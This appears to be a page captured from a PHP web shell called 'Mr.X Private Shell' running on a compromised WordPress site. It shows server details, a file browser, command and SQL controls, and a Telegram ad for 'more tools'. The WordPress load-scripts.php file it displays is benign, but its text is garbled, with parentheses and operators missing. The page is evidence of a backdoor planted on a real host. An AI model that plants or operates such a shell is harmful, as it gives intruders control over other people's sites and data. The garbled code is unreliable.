Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/////wp-admin      ( Reset | Go to )
File Name: load-scripts.php
Edit
<?php

/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */
if ( function_exists'error_reporting' ) ) {
    
/*
     * Disable error reporting.
     *
     * Set this to error_reporting( -1 ) for debugging.
     */
    
error_reporting);
}

// Set ABSPATH for execution.
if ( ! defined'ABSPATH' ) ) {
    
define'ABSPATH'dirname__DIR__ ) . '/' );
}

define'WPINC''wp-includes' );

$protocol $_SERVER['SERVER_PROTOCOL'];
if ( ! 
in_array$protocol, array( 'HTTP/1.1''HTTP/2''HTTP/2.0''HTTP/3' ), true ) ) {
    
$protocol 'HTTP/1.0';
}

$load $_GET['load'];
if ( 
is_array$load ) ) {
    
ksort$load );
    
$load implode''$load );
}

$load preg_replace'/[^a-z0-9,_-]+/i'''$load );
$load array_uniqueexplode','$load ) );

if ( empty( 
$load ) ) {
    
header"$protocol 400 Bad Request" );
    exit;
}

require 
ABSPATH 'wp-admin/includes/noop.php';
require 
ABSPATH WPINC '/script-loader.php';
require 
ABSPATH WPINC '/version.php';

$expires_offset 31536000// 1 year.
$out            '';

$wp_scripts = new WP_Scripts();
wp_default_scripts$wp_scripts );
wp_default_packages_vendor$wp_scripts );
wp_default_packages_scripts$wp_scripts );

$etag $wp_scripts->get_etag$load );

if ( isset( 
$_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes$_SERVER['HTTP_IF_NONE_MATCH'] ) === $etag ) {
    
header"$protocol 304 Not Modified" );
    exit;
}

foreach ( 
$load as $handle ) {
    if ( ! 
array_key_exists$handle$wp_scripts->registered ) ) {
        continue;
    }

    
$path ABSPATH $wp_scripts->registered$handle ]->src;
    
$out .= get_file$path ) . "\n";
}

header"Etag: $etag);
header'Content-Type: application/javascript; charset=UTF-8' );
header'Expires: ' gmdate'D, d M Y H:i:s'time() + $expires_offset ) . ' GMT' );
header"Cache-Control: public, max-age=$expires_offset);

echo 
$out;
exit;

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL